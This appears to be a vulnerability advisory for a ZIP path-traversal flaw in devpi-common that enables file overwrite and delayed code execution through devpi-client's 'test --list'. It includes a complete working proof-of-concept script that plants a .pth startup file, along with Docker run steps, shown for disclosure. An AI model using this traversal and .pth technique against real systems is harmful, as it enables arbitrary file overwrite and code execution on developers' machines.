devpi-common ZIP traversal allows arbitrary overwrite and delayed same-user code execution
Description
devpi_common.archive.ZipArchive.extract() performs a lexical Path.relative_to() check on member paths without normalizing .. components. A ZIP entry such as ../../victim.txt therefore passes the check and is written outside the requested extraction directory.
devpi-client reaches this shared extractor for downloaded distributions before honoring the devpi test --list early return. A malicious package can therefore overwrite files writable by the developer even when the developer uses the documented listing-only mode and no package test code is intended to run. The PoC writes a .pth file into a disposable unprivileged user's default site-packages and proves that it executes at the next ordinary Python startup. devpi-web also uses the same extractor for uploaded documentation ZIPs.
Details
In released devpi-common 4.1.1 and current upstream commit af63f71cba5b4121c6a6898ee6f6023fbb3ce8c8, ZipArchive.extract() computes:
fpath = basedir.joinpath(name)
fpath.relative_to(basedir)Path.relative_to() compares path components lexically; it does not resolve ... Consequently basedir / "../../victim.txt" is still considered relative to the lexical basedir, after which open(fpath, "wb") asks the operating system to traverse the parent components and writes outside the archive root.
Published devpi-client 7.3.0 constructs UnpackedPackage for a downloaded distribution and calls package.unpack(). The unpack occurs before the args.list branch at lines 306-311. Therefore devpi test --list—whose help says “Just list the release files which would be tested”—still extracts attacker-controlled ZIP members before returning.
Current devpi_web.doczip.unpack_docs() also passes an uploaded documentation archive to the same shared extractor. The default --keep-docs-packed=False setting causes documentation access and indexing to use this unpacking path. The real client devpi test --list command was dynamically reproduced. The compact embedded PoC below exercises the exact extraction wrapper reached before the --list branch. The server consumer is source-confirmed at the pinned commit but was not separately exercised through a running devpi-web instance, so it is supporting reachability evidence rather than a second exploit oracle.
The following release artifacts and upstream revision were confirmed:
- Official
devpi_common-4.1.1-py3-none-any.whl, SHA-2568fda7e8965d3744b1184d6c426fd5caf1345ed74513db687beeb5ee0e63a675c. - Official
devpi_client-7.3.0-py3-none-any.whl, SHA-256fa51a27eb0f98415426dc3d2488006345701441f8e7ad5d170b5c674c2910492. - Current shared-repository commit
af63f71cba5b4121c6a6898ee6f6023fbb3ce8c8.
The client path reproduced three consecutive times through the actual devpi test --list command against the published packages and three consecutive times with current client/ and common/ source mounted into a clean container with --network none. In every run the ordinary archive left the outside sentinel as ORIGINAL; the traversal archive changed it to H63_DEVPI_CLIENT_NONCE; neither case raised.
The bounded PoC below additionally targeted a .pth file under the default user-site directory of an unprivileged disposable account. Extraction wrote the file without executing it; a separate ordinary Python startup then created the nonce marker. This reproduced on release and current source. It does not demonstrate privilege escalation or execution before a later Python startup.
The regression was introduced by commit 57e269c2b3f67dba7098fb908ac63847b3d2f740, which replaced the previous py.path resolved containment check with the current pathlib lexical check. Release devpi-common 3.7.2 rejects the same member with ValueError; release 4.0.0 overwrites the sentinel. This establishes the lower bound used below.
Proof of concept
Tested configuration:
- Clean
python:3.13-slimcontainer with networking disabled during the run. devpi-common 4.1.1anddevpi-client 7.3.0.- Official devpi-common artifact URL:
https://files.pythonhosted.org/packages/60/ac/e2ccd03a92280f42181b806bda590519dd3c16237fddf9a51d18d8fc5e2b/devpi_common-4.1.1-py3-none-any.whl. - Official devpi-client artifact URL:
https://files.pythonhosted.org/packages/b3/64/2781d58acea82a4ff8956ba6d7633e71f1facbf0a20717bd62e62cf5fa82/devpi_client-7.3.0-py3-none-any.whl.
The PoC exercises devpi.test.UnpackedPackage.unpack(), the exact extraction wrapper reached before --list. The ZIP, marker, and disposable user HOME all live on the container's temporary /tmp filesystem; no package code or network request is executed during extraction.
Save the following block as poc.py:
#!/usr/bin/env python3
"""Exercise the devpi-client unpack path and a bounded Python-startup target.
The ZIP and every target live under disposable /tmp paths. Extraction itself does not
execute code. A separate ordinary Python startup proves whether the written
``.pth`` file is consumed. No network request is made.
"""
from __future__ import annotations
import json
import os
import site
import subprocess
import sys
import tempfile
import zipfile
from pathlib import Path
from types import SimpleNamespace
from devpi.test import UnpackedPackage
class Hub:
def info(self, *args: object) -> None:
pass
def fatal(self, *args: object) -> None:
raise RuntimeError(" ".join(map(str, args)))
def make_zip(path: Path, member: str | None = None, body: str = "") -> None:
with zipfile.ZipFile(path, "w", zipfile.ZIP_DEFLATED) as archive:
archive.writestr("demo-1.0/PKG-INFO", "Name: demo\nVersion: 1.0\n")
if member is not None:
archive.writestr(member, body)
def unpack_case(root: Path, member: str | None = None, body: str = "") -> str | None:
work = root / "work"
work.mkdir(parents=True)
archive = root / "demo-1.0.zip"
make_zip(archive, member, body)
link = SimpleNamespace(basename=archive.name)
versioninfo = SimpleNamespace(versiondata={"name": "demo", "version": "1.0"})
package = UnpackedPackage(Hub(), work, archive, versioninfo, link)
error = None
try:
package.unpack()
except Exception as exc:
error = f"{type(exc).__name__}: {exc}"
return error
def main() -> int:
with tempfile.TemporaryDirectory(prefix="h63-devpi-client-") as temp:
base = Path(temp)
home = Path(os.environ["HOME"]).resolve()
user_site = Path(site.getusersitepackages()).resolve()
marker = base / "python-startup.marker"
pth = user_site / "h63_devpi_startup.pth"
control_error = unpack_case(base / "control")
control_pth_absent = not pth.exists()
control_marker_absent = not marker.exists()
extraction_root = base / "attack" / "work" / "zip"
member = os.path.relpath(pth, extraction_root).replace(os.sep, "/")
if not member.startswith("../"):
raise AssertionError(f"fixture did not require traversal: {member}")
body = (
"import pathlib; "
f"pathlib.Path({str(marker)!r}).write_text('H63_PTH_EXECUTED')\n"
)
attack_error = unpack_case(base / "attack", member, body)
pth_written = pth.read_text(encoding="utf-8") == body
marker_before_startup = marker.exists()
subprocess.run(
[sys.executable, "-c", "pass"],
check=True,
env=dict(os.environ),
timeout=10,
)
marker_after_startup = marker.read_text(encoding="utf-8") if marker.exists() else None
result = {
"control_error": control_error,
"control_pth_absent": control_pth_absent,
"control_marker_absent": control_marker_absent,
"attack_error": attack_error,
"traversal_member": member,
"pth_written_outside_extract_root": pth_written,
"marker_before_python_startup": marker_before_startup,
"marker_after_python_startup": marker_after_startup,
"user_site": str(user_site),
"temporary_home": str(home),
}
print(json.dumps(result, indent=2, sort_keys=True))
return 0 if (
control_error is None
and control_pth_absent
and control_marker_absent
and attack_error is None
and pth_written
and not marker_before_startup
and marker_after_startup == "H63_PTH_EXECUTED"
) else 1
if __name__ == "__main__":
raise SystemExit(main())Run from an empty directory containing poc.py. The image build downloads the pinned packages; the actual exploit run has networking disabled and executes as uid/gid 65534 with a disposable HOME:
set -euo pipefail
docker build -t devpi-common-4.1.1-poc - <<'DOCKERFILE'
FROM python:3.13-slim
RUN mkdir /wheels && \
python -m pip download --disable-pip-version-check --no-deps \
--only-binary=:all: --dest /wheels \
'devpi-common==4.1.1' 'devpi-client==7.3.0' && \
printf '%s %s\n' \
'8fda7e8965d3744b1184d6c426fd5caf1345ed74513db687beeb5ee0e63a675c' \
'/wheels/devpi_common-4.1.1-py3-none-any.whl' | sha256sum -c - && \
printf '%s %s\n' \
'fa51a27eb0f98415426dc3d2488006345701441f8e7ad5d170b5c674c2910492' \
'/wheels/devpi_client-7.3.0-py3-none-any.whl' | sha256sum -c - && \
python -m pip install --disable-pip-version-check \
/wheels/devpi_common-4.1.1-py3-none-any.whl \
/wheels/devpi_client-7.3.0-py3-none-any.whl
DOCKERFILE
docker run --rm --network none --read-only \
--tmpfs /tmp:rw,exec,nosuid,nodev,mode=1777 \
--user 65534:65534 -e HOME=/tmp/home \
-v "$PWD/poc.py:/poc.py:ro" \
devpi-common-4.1.1-poc python /poc.pyExpected result:
{
"attack_error": null,
"control_error": null,
"control_marker_absent": true,
"control_pth_absent": true,
"marker_after_python_startup": "H63_PTH_EXECUTED",
"marker_before_python_startup": false,
"pth_written_outside_extract_root": true,
"temporary_home": "/tmp/home",
"traversal_member": "../../../../home/.local/lib/python3.13/site-packages/h63_devpi_startup.pth",
"user_site": "/tmp/home/.local/lib/python3.13/site-packages"
}The script exits 0 only when the ordinary control is inert, extraction writes the .pth outside its root without executing it, and a separate ordinary Python startup then creates the exact nonce marker.
Impact
This is arbitrary file overwrite through ZIP path traversal, with demonstrated delayed same-user code execution. A malicious package or documentation uploader can write attacker-selected bytes to paths writable by the process running the affected consumer. On the demonstrated client path, extraction occurs when a developer runs devpi test --list, before any intended tox execution.
Possible consequences include reading or modifying same-user data and denial of service under that account once planted startup code runs. The attacker must predict or target a writable path relative to the extraction location, and the demonstrated execution requires a later Python startup with the user site enabled. The PoC uses only a marker under /tmp; it does not read victim data, persist outside the disposable HOME, cross a user boundary, or escalate privileges.
Affected consumers include devpi-client test unpacking and, conditionally, devpi-web documentation unpacking. Bare devpi-server without a consumer of the shared ZIP extractor is not claimed to be directly exploitable.
Reported by Omoikane Labs. Requested credit: ffasterss & shirabe0x05.